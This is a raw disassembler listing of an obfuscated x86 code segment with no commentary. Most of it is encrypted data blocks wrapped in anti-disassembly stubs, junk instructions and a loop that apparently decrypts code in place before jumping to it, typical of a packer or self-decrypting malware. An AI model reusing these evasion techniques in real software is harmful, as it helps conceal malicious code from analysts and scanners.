		add	[esp-4+arg_4], 18h
		inc	ecx
		push	ecx
		retn
sub_6101F0	endp

; ---------------------------------------------------------------------------
		dec	ebp
		db	64h
		lahf
		mov	ebx, 4B75BAF3h
		adc	[eax], dl
		push	0
		call	dword ptr [ebp+7E90C31h]
		mov	eax, eax
		jmp	short loc_610282
; ---------------------------------------------------------------------------
		dw 0C78Fh
		dd 0E4403A6Ch, 0E0957F52h, 9EF83CB7h, 0ADF3B73Dh, 9D5D6186h
		dd 0F76359D9h, 0D2EE24AEh, 0BAA22FFh, 0BF621578h, 0FEBCBC9Ah
		dd 6C71713Ch, 0CE6A5F3Ch, 0EF131A6Dh, 694B9213h, 0EBDD5BBh
		dd 100E9D70h, 20DFB426h, 871D82A7h, 0AAFD1665h,	9AC863DCh
		dd 0B0ABF85Fh, 7E075EDBh, 821F0C87h, 5C9614E5h,	82A628FDh
		dd 87C1BD66h
		db 0D9h, 43h
; ---------------------------------------------------------------------------


loc_610282:				; CODE XREF: sdfs____:00610214j
		lea	ecx, [ebp+7F1C59Dh]
		push	0
		push	ebp
		call	sub_610293
		and	[ebp-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_610293	proc near		; CODE XREF: sdfs____:0061028Bp

arg_4		= dword	ptr  8

		pop	ebp
		mov	[esp-4+arg_4], ebp
		add	[esp-4+arg_4], 14h
		inc	ebp
		push	ebp
		retn
sub_610293	endp

; ---------------------------------------------------------------------------
		test	byte ptr [ecx-16CDF273h], 7
		mov	[ebp+7E90A35h],	ebx
		mov	dword ptr [ebp+7E922E5h], 6644h
		push	0
		push	edi
		call	sub_6102C5
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6102C5	proc near		; CODE XREF: sdfs____:006102BDp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 1Ah
		inc	edi
		push	edi
		retn
sub_6102C5	endp

; ---------------------------------------------------------------------------
aAmZCLshlES	db '¬Ó‡',0Bh,'ç,¾LáHLÇ…±"é',7,0
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 18042444h, 43000000h, 72F5C353h, 56210239h, 16898589h
		dd 8B5807E9h, 89B5FFD6h, 2907E91Ah, 0E915219Dh,	8595FF07h
		dd 6A07E922h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 1D042444h, 41000000h, 0DD5C351h, 4B57188Ah, 62CB46FCh
		dd 8036BF66h, 95FF006Ah, 7E90C31h, 48EBC08Bh, 0E9463AC2h
		dd 85D1327Ah, 0F4BF3C4Ch, 0FBB422D9h, 6E1F889Fh, 0F7EBFE25h
		dd 9772F3C6h, 0C607366Ah, 6A77C683h, 0D1091416h, 9015F632h
		dd 87101576h, 0A502D5FEh, 5055478Ch, 0FF7E2FAEh, 66FD73Eh
		dd 0EA56D3EDh, 6B03805Eh, 10EBh, 3 dup(0)
		align 8
		push	0
		push	esi
		call	sub_6103C3
		and	[esi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_6103C3	proc near		; CODE XREF: sdfs____:006103BBp

arg_4		= dword	ptr  8

		pop	esi
		mov	[esp-4+arg_4], esi
		add	[esp-4+arg_4], 16h
		inc	esi
		push	esi
		retn
sub_6103C3	endp

; ---------------------------------------------------------------------------
		db 12h
		dd 5E95415h, 15000000h,	4865194Ah, 5A6EB653h, 18A5BD83h
		dd 750007E9h, 45BD8309h, 7E91Ah, 53501974h, 2DB8C08Bh
		dd 89000004h, 0E911F985h, 0CE9D8D07h, 0FF07EBD7h, 83585BD3h
		dd 0E91A45BDh, 17740007h, 2DB85350h, 89000004h,	0E911F985h
		dd 0BD9D8D07h, 0FF07EBD4h, 0B6585BD3h, 13E8DFh,	8E4D0000h
		dd 0E68112B6h, 0D6D2CF60h, 2A5360BAh, 0D78C9503h, 2DBE663Dh
		dd 0C08B5A3Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 1Ch,	0EC35141h, 217E9903h, 0F949857Ch, 2E998D8Bh, 6A07E9h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 160424h, 53430000h
		dd 3DBB51C3h, 13E8h, 0B2023000h, 8ACA3677h, 0C4339D7Fh
		dd 93C11113h, 0DFBD2D2h, 0AE9h,	4E75F900h, 10A65697h, 5EC33BCEh
		dd 0F00F983h, 8684h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1D04h, 0C3554500h, 521E45FAh, 7CDACEC1h
		dd 8B64AF14h, 2C3Dh, 4DB58B00h,	5207E935h, 5AD7B70Fh, 840FFF0Bh
		dd 47h,	0DE9h, 43457100h, 0DB188EF7h, 4AFF6AE6h, 3F8B45FBh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B7C35141h
		dd 8217A159h, 80520D2Dh, 0C03207E2h, 0F3F38B66h, 39958BAAh
		dd 3507E90Ah, 53504149h, 0C5FABE66h, 265985C6h,	894707E9h
		dd 0E90F0DBDh, 4E807h, 882C0000h, 0F60DCD6h, 198Ah, 14E900h
		dd 0A28A0000h, 0CA826296h, 0D1E6E05Eh, 0A998AAD1h, 52F60973h
		dd 0BABE4429h, 616FD017h, 0D7BE6650h, 24448B3Ch, 0E8516004h
		dd 0Bh,	0CFD3B4DAh, 8794328Fh, 5A1FA372h, 61F78A5Eh, 8B66008Bh
		dd 244489D1h, 850F6004h, 2, 58615857h, 0B5FF92B6h, 7E90B11h
		dd 0BE98D29h, 666007E9h, 0DF8BCA8Bh, 0DB858D61h, 8B07EC9Fh
		dd 6AD0FFD1h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1C042444h, 46000000h, 0BBC7C356h, 669E139Bh,	9AEC941h
		dd 0E9020995h, 79858907h, 0E907E92Ch, 5, 0C85FAA7Eh, 5985C6F6h
		dd 5307E926h, 10E8h, 52D700h, 0D786BBA4h, 0FD9A3647h, 64D10306h
		dd 0B1B58BE3h, 5A07E91Ch, 1E68F28Bh, 5085A2F1h,	0F08B6652h
		dd 0B6BE310Fh, 5A473865h, 24048158h, 2F579DEh, 6850Fh
		dd 85890000h, 7E91FE5h,	0B11B5FFh, 958907E9h, 7E91C75h
		dd 9FDB858Dh, 9D8907ECh, 7E90879h, 0B58BD0FFh, 7E917EDh
		dd 674D858Dh, 958B07ECh, 7E90845h, 0D9E68166h, 15858940h
		dd 0BE07E90Ch, 0B2CF558h, 0FF6A206Ah, 0C1595FFh, 493507E9h
		dd 0C7535041h, 0E926A985h, 107h, 4185C700h, 7E902h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 2F89C352h, 8B4EED63h, 0E91C15B5h,	6EBA6607h
		dd 0BABA66A2h, 79858BC8h, 8B07E901h, 0E92C7D95h, 0A364F507h
		dd 0
; ---------------------------------------------------------------------------
		push	0
		push	ebx
		call	sub_610717
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_610717	proc near		; CODE XREF: sdfs____:0061070Fp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 15h
		inc	ebx
		push	ebx
		retn
sub_610717	endp

; ---------------------------------------------------------------------------
		db 95h
		dd 0F680608Eh, 0C3BF0F78h, 0B5BD8361h, 7E92Eh, 29840Fh
		dd 13E80000h, 5F000000h, 2B9308CCh, 0EA5AADBFh,	1B2736CAh
		dd 0E03203F9h, 0BF0FE96Ah, 858B5EF1h, 7E919ADh,	8166E08Bh
		dd 836417CAh, 0E92515BDh, 850F0007h, 3E3h, 0B9950157h
		dd 5E07E901h, 265985C6h, 815607E9h, 67CF9BDAh, 4E846h
		dd 30DF0000h, 0BA50A9C5h, 34F6B193h, 424448Bh, 9B2522BEh
		dd 89008B11h, 51042444h, 9C87BE66h, 8589585Eh, 7E91809h
		dd 0B11B5FFh, 6A07E9h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 180424h, 51410000h, 4F58A1C3h, 858D270Ch, 7EC9FDBh
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 34C35343h
		dd 27C6862h, 0BD89D0FFh, 7E92E69h, 50F38B90h, 7E8h, 33753C00h
		dd 0D346543Ch, 5E616053h, 39BA905Ah, 8D78054Bh,	0E92B298Dh
		dd 57006A07h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 768901E1h, 8A2EBA0Ch, 91F920D1h,	10E9h
		dd 9C4F6800h, 71B9A04Fh, 762CAB24h, 644CED89h, 8E950FCh
		dd 9B000000h, 1FEC904Bh, 91D0D9A2h, 38083DBEh, 89046A70h
		dd 0E934958Dh, 6CBA6807h, 348110ABh, 0AB7CBA24h, 6880F10h
		dd 89000000h, 0E90BDDB5h, 0DB5FF07h, 8B07E912h,	0E9158D95h
		dd 6AD0FF07h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0F5A1C353h, 8BF4E680h,	0E9120DBDh
		dd 830F07h, 3000000h, 0B5893C7Fh, 7E90939h, 0F8C781h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 93BEE2C3h, 0FE129581h, 0BE7CF8BAh, 4367CCFh,	202447C7h
		dd 0E9600000h, 6, 0F94CB0E6h, 0AE9CC9Eh, 0D8000000h, 3C666312h
		dd 27110199h, 0ECBD834Ch, 7F1C5h, 143840Fh, 8B510000h
		dd 0E90FE1B5h, 0C7835E07h, 2E07C728h, 8964696Ah, 0E934FD8Dh
		dd 447C707h, 617461h, 0A89958Bh, 858B07E9h, 7F1C5F4h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0DBC35545h, 89D08A5Dh
		dd 0B5890C47h, 7E92291h, 0C5F8858Bh, 0B70F07F1h, 84789F1h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 3DC35141h
		dd 0ADB5CF59h, 0AE860E8h, 29000000h, 0EC6693D5h, 2D8D5F95h
		dd 0CD9D893Eh, 5A07E90Dh, 2928C783h, 0E930E585h, 2E07C707h
		dd 96E6F63h, 0E925ADBDh, 447C707h, 676966h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0DEC35646h, 0C5F0858Bh
		dd 0BD8907F1h, 7E90F65h, 6A0C4789h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 4D82C351h
		dd 0E130731Ah, 0D68145B1h, 18A12118h, 0C5EC858Bh, 0F6007F1h
		dd 28Ah, 8BD1B500h, 0E92A19BDh,	47896107h, 57006A08h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1604h, 0C3574700h
		dd 895F5C58h, 0E922759Dh, 6A5807h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 190424h, 55450000h, 78761DC3h, 8D4B7156h
		dd 0E908F98Dh, 14820F07h, 0E9000000h, 0Fh, 0ECA0BC7Eh
		dd 0EA54704Fh, 0E1AE2A24h, 913C1EC7h, 9E8h, 0DD2DD200h
		dd 430C2B82h, 56B260ECh, 6BBA505Ah, 916934B9h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0DFC35242h, 818CFF9Ch
		dd 0DE8DED8h, 0A0000000h, 0BCC825A8h, 0CB2848CAh, 0C4820C3Ch
		dd 25958Bh, 8B5E07E9h, 0E90CC5B5h, 29B5FF07h, 8A07E92Bh
		dd 0AA4D68D3h, 52502BBEh, 8E860h, 5CD30000h, 7A1B5288h
		dd 615E889Ch, 585A310Fh, 4D243481h, 892BBEBAh, 0E932119Dh
		dd 0DB5FF07h, 6607E912h, 0D0FFF28Bh, 0B81FC680h, 0
; ---------------------------------------------------------------------------
		add	edx, [ebp+7E906FDh]
		or	eax, eax
		jz	loc_610BBF
		push	0
		push	edi
		call	sub_610B75
		and	[edi-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_610B75	proc near		; CODE XREF: sdfs____:00610B6Dp

arg_4		= dword	ptr  8

		pop	edi
		mov	[esp-4+arg_4], edi
		add	[esp-4+arg_4], 14h
		inc	edi
		push	edi
		retn
sub_610B75	endp

; ---------------------------------------------------------------------------
		db 0E3h, 0B2h, 0DAh
; ---------------------------------------------------------------------------
		push	dword ptr [ebp+7E9125Dh]
		or	edx, [ebp+7E91C29h]
		call	dword ptr [ebp+7E92285h]
		push	0
		push	ebx
		call	sub_610BA5
		and	[ebx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_610BA5	proc near		; CODE XREF: sdfs____:00610B9Dp

arg_4		= dword	ptr  8

		pop	ebx
		mov	[esp-4+arg_4], ebx
		add	[esp-4+arg_4], 18h
		inc	ebx
		push	ebx
		retn
sub_610BA5	endp

; ---------------------------------------------------------------------------
		db 5Bh,	0EDh, 16h
; ---------------------------------------------------------------------------
		mov	ch, 3Eh
		sbb	dx, 8F59h


loc_610BBF:				; CODE XREF: sdfs____:00610B64j
		mov	eax, eax
		mov	dh, 23h
		push	esi
		jmp	loc_610BD5
; ---------------------------------------------------------------------------
		xchg	eax, edx
		pop	es
		mov	ds:9C8AA9F1h, al
		mov	eax, 0CF8F0267h


loc_610BD5:				; CODE XREF: sdfs____:00610BC4j
		pop	edx
		cmp	dword ptr [ebp+7E918A5h], 0
		jnz	short loc_610BE8
		cmp	dword ptr [ebp+7E91A45h], 0
		jz	short loc_610C01


loc_610BE8:				; CODE XREF: sdfs____:00610BDDj
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+7E920F5h],	eax
		lea	ebx, [ebp+7EBD835h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_610C01:				; CODE XREF: sdfs____:00610BE6j
		cmp	dword ptr [ebp+7E91A45h], 0
		jz	short loc_610C21
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+7E920F5h],	eax
		lea	ebx, [ebp+7EBD4D6h]
		call	ebx	; _iob
		pop	ebx
		pop	eax


loc_610C21:				; CODE XREF: sdfs____:00610C08j
		call	sub_610C37
		scasb
		shr	dword ptr [ecx+73h], cl
		dec	ecx
		out	dx, eax
		jmp	near ptr 1117672h
; ---------------------------------------------------------------------------
		db 52h,	43h, 1Ah
		db 89h,	0F9h, 31h

; =============== S U B	R O U T	I N E =======================================



sub_610C37	proc near		; CODE XREF: sdfs____:loc_610C21p

; FUNCTION CHUNK AT 00610C68 SIZE 00000005 BYTES

		mov	esi, [ebp+7E9257Dh]
		pop	edx
		mov	[ebp+7E90C09h],	ebx
		mov	eax, eax
		add	[ebp+7E92289h],	edi
		mov	eax, eax
		call	near ptr loc_610C62+2
		outsd
		cmc
		xor	eax, 2025D009h
		insd
		mov	word ptr [edi],	cs
		js	short loc_610C68
		pop	ebp
		cmc
		wait


loc_610C62:				; CODE XREF: sub_610C37+17p
		lds	eax, [edi+0EF59D2Bh]
sub_610C37	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_610C37
		assume ds:___


loc_610C68:				; CODE XREF: sub_610C37+26j
		jmp	near ptr 8BC76A74h
; END OF FUNCTION CHUNK	FOR sub_610C37
; ---------------------------------------------------------------------------
		fiadd	dword ptr [ecx+6A8BC6h]
		add	[ebx-16D62E73h], cl
		pop	es
		mov	eax, 0
		or	[ebp+7E90AC9h],	ecx


loc_610C85:				; CODE XREF: sdfs____:00610CE2j
		push	dword ptr [eax+esi]
		mov	edi, 50BA520Eh
		pop	edx
		adc	bh, 2Ch
		add	edx, 5CAF79C0h
		mov	[ebp+7E919DDh],	esi
		sub	edx, 3974C5BCh
		mov	edi, edx
		add	edx, 77CFEF02h
		mov	edi, [ebp+7E9158Dh]
		mov	[esi+eax], edx
		jmp	loc_610CCD
; ---------------------------------------------------------------------------
		db 22h,	8Ah, 47h
		dd 0AD0CBDF3h, 9D069F59h, 0FF97BD34h, 4EE29511h
		db 86h
; ---------------------------------------------------------------------------


loc_610CCD:				; CODE XREF: sdfs____:00610CB4j
		cmc
		sub	eax, 3
		mov	edi, 1796A6E8h
		dec	eax
		mov	ebx, 18D23789h
		cmp	eax, 0FFFF960Ch
		jnz	loc_610C85
		mov	[ebp+7E91351h],	esi
		jmp	loc_610CF7
; ---------------------------------------------------------------------------
		db 7Ch
		db 2Eh,	4Dh, 21h
; ---------------------------------------------------------------------------


loc_610CF7:				; CODE XREF: sdfs____:00610CEEj
		jmp	loc_61125B
; ---------------------------------------------------------------------------
		dd 1C91E308h, 57DE9CB0h, 842953E5h, 0FB7AF828h,	2DC0B459h
		dd 0FB1E7ABFh, 5140EC81h, 61F622D3h, 103A961Fh,	0FCA6CF66h
		dd 6AF60585h, 8FFD0F28h, 413BDC78h, 4A2FCDE9h, 0E26D4BD8h
		dd 0C222B0D1h, 941963F6h, 9C601238h, 0CE581A30h, 0A48C0E06h
		dd 0D2A84C08h, 3ED74772h, 0F5FCDC67h, 0E10DE564h, 0C6E8C38h
		dd 5C203761h, 648BD1C1h, 3968B8BEh, 305C6279h, 0FA7B099Bh
		dd 7FC7B95Eh, 62C24253h, 6588C056h, 27B5CF17h, 1F59F3DFh
		dd 0DACD0C7h, 6B1232EDh, 61E196B9h, 709E3414h, 50CECEAFh
		dd 377E25C5h, 564F17A1h, 25971AD6h, 0E8996517h,	305C28CDh
		dd 10C1688Ch, 84317CB0h, 4ACEh,	0A04A9400h, 15970ED6h
		dd 12305CC5h, 4735D884h, 0E10DE5FFh, 0E0299B38h, 1458430h
		dd 1D000000h, 42D4A64Ah, 0C4B9F9A8h, 495B305Ch,	0ED014DE1h
		dd 0B1BB78Fh, 0F418B589h, 0FD7F9355h, 0FD5FF670h, 0A28CA0D1h
		dd 0EC0EAA86h, 78A7E392h, 0FE46C4DCh, 85A80CE4h, 8FA32FF7h
		dd 91A511EDh, 158E1BEBh, 4F95221Bh, 6014399Dh, 4EEFE19Ch
		dd 0A9D7ACh, 0B6C86EF6h, 389C546Eh, 62CE6715h, 7A56AEC8h
		dd 8610AAD4h, 5C1C8B0Bh, 0D31F8530h, 7A232F9Fh,	31835759h
		dd 939784h, 4A330000h, 4D09D5A7h, 410DD1ABh, 5A76CEAEh
		dd 0A378C4B6h, 9F3EBC5Dh, 0DCE9760Fh, 9390CBEh,	0F88DEA87h
		dd 4AA63DBCh, 0A84D8726h, 62F721CCh, 10BCCA1Ah,	0D95B4BFFh
		dd 15E97F05h, 1F77A38Fh, 0E569419Dh, 0D01D9744h, 7C598431h
		dd 69000000h, 31CAED78h, 3A4233CFh, 0B540F8D2h,	4EAADA98h
		dd 23B5C76Ah, 19E597BBh, 7573AF8Bh, 0FF3BB9E9h,	0F84434DBh
		dd 0FC403ADCh, 0E4383AD0h, 0B240E917h, 0CE28D1FBh, 0C88C0E06h
		dd 3C985022h, 0DC96319h, 55589014h, 0D4A64AEDh,	15E77E08h
		dd 7ADE18F5h, 83D1B540h, 0F9622964h, 0CD755031h, 0BA54305Bh
		dd 0A9810312h, 0B852A445h, 5BCCC9C9h, 91594B30h, 31D7D232h
		dd 12C84h, 4AB60000h, 4E0ADAA4h, 0AD38D2ACh, 0D85B69DEh
		dd 26A4FCD0h, 13045890h, 76984CEDh, 0A9D87204h,	305C1AE9h
		dd 2CB1792Bh, 0DF69FE79h, 0B50367A2h, 0CC983537h, 5F5F5255h
		dd 0B12873BEh, 0A3985AF3h, 0A86F38Ah, 6EDAA497h, 32C4DE82h
		dd 10A9E998h, 396B2873h, 0FB11BDF1h, 0B258F479h, 3857CC0h
		dd 10287311h, 3D995DFCh, 59F67E5h, 2763892Dh, 59D46A12h
		dd 0C3235DFFh, 0CB1B65F7h, 896D0C70h, 0F35329CDh, 7F9D39F1h
		dd 0FD59DBCBh, 0E68F1D5Fh, 1A94635Dh, 184838Ch,	0B3270000h
		dd 0ECA537A0h, 37B599ADh, 21AD3F65h, 7A686BF0h,	9E08BC3Dh
		dd 27FB7D08h, 0CB26D7DEh, 7587336Fh, 2CCE6A0Bh,	5BABD164h
		dd 0C654544Dh, 0E6BC2872h, 5662C250h, 9520BAC4h, 2E532646h
		dd 0C96CE83Fh, 0AF2B47B3h, 0A22EF676h, 0A612F28Ch, 7292E993h
		dd 56502FCBh, 0DB17698Eh, 38D216B7h, 3A16D739h,	14B041A2h
		dd 4BEA7802h, 19FB06FEh, 3F608Ch, 0B3420000h, 19B2DBAh
		dd 79C5B745h, 0DEFE8F6Bh, 36B05CC4h, 0B1F1906Ch, 64B05CC4h
		dd 99AE9138h, 0A9097812h, 6B305CC5h, 9C15AF39h,	305CC61Ch
		dd 0A591A9F4h, 659EB5A4h, 21961BD7h, 0D2h, 1A0B341h, 0E86ABA10h
		dd 7F32C45Ah, 37B59484h, 91EB0CC8h, 5DEFB559h, 93CECEC3h
		dd 5C462873h, 0B44E5894h, 7393BDFDh, 0E54D5728h, 0D4591B31h
		dd 6B26B04Ah, 2873942Bh, 0CACABFE5h, 0B3287393h, 0FFFB8112h
		dd 0C9A5E9D2h, 0F58F5725h, 0DCDCD567h, 34287319h, 416826Eh
		dd 0DEFBAA7Ah, 98287318h, 9F3B0B89h, 5C3F0779h,	3C698930h
		dd 0EB857118h, 7318F6B6h, 0EDADE428h, 27287318h, 0A793117Dh
		dd 169FD973h, 5228CC88h, 6538F0F2h, 0D6CB5DCAh,	30614A43h
		dd 53D5CD89h, 814A5E5Eh, 5EECB620h, 4834FC86h, 7AB6CB6Ch
		dd 1873CFCEh, 5D96FFDh,	0DD1A349h, 6853FA1Ah, 0D1C05ACDh
		dd 286F343Eh, 0BB6FF78Eh, 64D2B666h, 33C2E08Ch,	77012BB3h
		dd 0A0B309BBh, 19ECA537h, 63384AF6h, 0F4D8D8C9h, 6A38286Ah
		dd 7CC0E28Eh, 35B8BA50h, 8E03719Bh, 286AF50Eh, 360E9C06h
		dd 8FF9CD4Fh, 0C7668A4Eh, 1889EF0Dh, 1ADFA98h, 19942A78h
		dd 4B89F08Dh, 0F27BE08Eh, 0FE789206h, 0F87AAA26h, 2CCDF324h
		dd 6D2452F8h, 1AE222Dh,	862FBDE7h, 4C008D18h, 98641624h
		dd 0DEAE730Ah, 0C65440A8h, 0C75E68B4h, 74B347BAh, 42C0D0C6h
		dd 0E652E0E2h, 329h, 0F6547900h, 0FD7A14Ah, 77CFA943h
		dd 78C4B45Bh, 7FC7455Ch, 66BEBE53h, 69B5C76Ah, 6FB7356Dh
		dd 53B3CD63h, 55A9D367h, 5D06685Eh, 0C890000h, 25CA6824h
		dd 34890000h, 0E6895624h, 4C681h, 0EE830000h, 24348704h
		dd 242C895Ch, 4EC81h, 4890000h,	3BACB824h, 0EEBE2BD9h
		dd 2933CB0Ah, 926858C6h, 8900001Fh, 4832424h, 535D0424h
		dd 8BBh, 5CEB8100h, 111F659h, 5CC381EBh, 8911F659h, 34FF5B33h
		dd 0C4835D24h, 2434FF04h, 4C4835Eh, 0F7A72DE9h,	1BC914FFh
		dd 893D104Bh
		db 0BAh, 29h, 3Ch
; ---------------------------------------------------------------------------


loc_61125B:				; CODE XREF: sdfs____:loc_610CF7j
		mov	eax, 7F1D427h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dd 0D3F33D6h, 4EC06F94h, 76E26E1Bh, 7AFEFE54h, 4B122297h
		dd 2657920Ch, 3A5528Fh,	71B0AF29h, 2F686B7Fh, 95C7422h
		dd 3E6F752Ah, 63494B3Ch, 26AC90FDh, 69975848h, 21D4455h
		dd 2AE1839Bh, 70314F65h, 7660AAE2h, 483F21BEh, 3A62093h
		dd 0BDD9381h, 0D5B38D8Dh, 6A07F1h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 180424h, 52420000h, 90990DC3h, 0B58B364Ah
		dd 7E911FDh, 320D8D89h,	6A07E9h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0B09475C3h, 3810F0Ah
		dd 80000000h, 85C710D7h, 7E922E5h, 644Ch, 12F68160h, 0F54692ACh
		dd 0B185C761h, 7E922h, 66000000h, 0FFED3FBAh, 0E91A89B5h
		dd 55006A07h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1804h
		dd 0C3554500h, 43643151h, 8595FFC4h, 0F07E922h,	18Eh, 6AFC00h
		dd 0C3195FFh, 0C08B07E9h, 135148EBh, 6A3F50ECh,	81B3F22Eh
		dd 6E51CFB5h, 3C1BBC87h, 2DD0C1FCh, 0DD8F00A3h,	52FB89BCh
		dd 0F9312C7Ch, 0B781A549h, 0AFCF73A7h, 0CA892D06h, 9349DF13h
		dd 0C46D289Ah, 0AAC09EA5h, 3458F021h, 8B1B090Eh, 5C339578h
		dd 0AE8A668h, 5F000000h, 0A43E7AADh, 473DEE69h,	0EDBD89FCh
		dd 5B07E934h, 0FD858960h, 6607E91Ah, 8161D68Bh,	680EC3h
		dd 0F5B96600h, 0FC03388h, 889h,	28E0F00h, 51000000h, 1834FF5Fh
		dd 12E960h, 15C40000h, 58C2F396h, 7346F4B6h, 0EF73C7BCh
		dd 0BEBD45F3h, 0EE9h, 0B63A1200h, 19A2DFE6h, 0A2F2378Dh
		dd 61317A2Eh, 68F0F5Eh,	31000000h, 0E91E0D8Dh, 43C68107h
		dd 0F09CED2h, 685h, 518D8900h, 8107E92Bh, 0DDEAC8EEh, 858D0971h
		dd 8107E911h, 0AEB7AC6h, 0E9805205h, 34895FB2h,	13E903h
		dd 0AB8F0000h, 15CD7CA9h, 0A058FC65h, 7163D328h, 67024F2Eh
		dd 4E8838Ch, 4AB333BFh,	0E0F88119h, 0FFFFF98h, 0F85h, 22E9F900h
		dd 9D000000h, 0EB37FCAAh, 0B6B8E5DEh, 25D58589h, 52E907E9h
		dd 4DFFFFFFh, 343BD9CFh, 22C41443h, 607929F1h, 118D8D18h
		dd 6A07F1D8h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1A042444h, 47000000h, 9801C357h, 39F45F46h, 41BD896Ch
		dd 8907E915h, 0E9320D8Dh, 29B58B07h, 0C707E931h, 0E922E585h
		dd 68FC07h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1C04h, 0C3514100h, 4A2144F3h, 0CFF9CFEDh, 0C7F38BD5h
		dd 0E922B185h, 7, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 0BACB7E63h, 4A9A6503h
		dd 9E888h, 47140000h, 9730996Dh, 8928F558h, 0E9125995h
		dd 0B5FF5807h, 7E9245Dh, 14E8h,	8D19A200h, 2EA2F237h, 495F317Ah
		dd 0BF414413h, 0A46A3D63h, 14E9E5h, 0EB350000h,	0C0761524h
		dd 16F73B12h, 0CCF4845Fh, 0A160B80Fh, 0FF5AB418h, 0E9228595h
		dd 56006A07h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1904h
		dd 0C3564600h, 93D83C17h, 0BD896CFBh, 7E91AE9h,	95FF006Ah
		dd 7E90C31h, 5BEBC08Bh,	0F018ED9Dh, 0B1B3A269h,	0FF833567h
		dd 0D2829AADh, 32CF400Bh, 0F3367ED4h, 26D33D62h, 2CBF24C5h
		dd 0AF60862Ah, 533F4F01h, 0EC904B9Bh, 0D0D9A21Fh, 0F18DDB95h
		dd 6B867782h, 26214889h, 900B02CBh, 0F21EE52Ch,	5E8F2BC3h
		dd 0A6761313h, 9DCEDA30h, 2F8C8D0Ch, 0FF5C78CCh, 0EBE99E4Ch
		dd 3DDE900h, 19320000h,	0D67AD65Fh, 89AF09A4h, 0C2D27EF7h
		dd 0EE03AD40h, 0B089E78Eh, 0A64F2DC0h, 14991B0Ah, 48E597B8h
		dd 812C4EECh, 0CFCFC2DCh, 41286AECh, 0A64A550Bh, 0C4E1A1D0h
		dd 7533305Ch, 5CC57C3Ch, 780E9430h, 47E94BEAh, 41CB835h
		dd 0A84DEF86h, 28C521CCh, 0F304B1E0h, 0D7EEFC89h, 819400E8h
		dd 0BC522ACDh, 821BB531h, 0FF1DFC18h, 2C6C1D9Fh, 0E4305C7Dh
		dd 4F4672BEh, 7CD8D8C9h, 6A38305Ch, 33CD59D4h, 5C7D3E7Eh
		dd 0ABFAD630h, 90019B29h, 305C7D10h, 6256A200h,	0BAFAB7CDh
		dd 0A3305C7Ch, 818B9782h, 970393C0h, 0D46AF880h, 235DFF59h
		dd 2292F392h, 3BCD384Dh, 3E06709Ah, 8078292h, 0C0860DB0h
		dd 0E8740694h, 49A53346h, 7EDB94B0h, 0A28E14E8h, 0E63E9A0Eh
		dd 9B96C964h, 40077A0Ch, 562FC49Bh, 0B511F04Ch,	0AB20829Bh
		dd 4E4E43DDh, 0C620829Ch, 41E814DCh, 0B093090h,	0BF4E94h
		dd 4A140000h, 2C4CE3A7h, 0E03CD2D0h, 820E831Fh,	92305CC5h
		dd 6A80CC10h, 21CB6508h, 0F419C557h, 4B31C480h,	0ED01E9FBh
		dd 0F08A1D18h, 0B5B2FA81h, 0BA8A1837h, 6E9A4345h, 0A303B2CCh
		dd 0B3189809h, 0AAF82873h, 1080934Eh, 3938FED7h, 0B0642E90h
		dd 7D3427B6h, 0A3DE68FEh, 2FCC1848h, 0ECE8346Eh, 3D993349h
		dd 3815D1Fh, 0EB0EAA37h, 67F84D91h, 0CB5B56E0h,	0E5208A18h
		dd 0F06336BFh, 59DCD567h, 4327E2F2h, 2A06769Bh,	34805C46h
		dd 4DBE5C21h, 2DCA635Fh, 51410D9Fh, 0E77173D3h,	0A1A0EAAAh
		dd 0B0782A18h, 96E832Dh, 0F0F230EFh, 0F04CE271h, 9A3283Dh
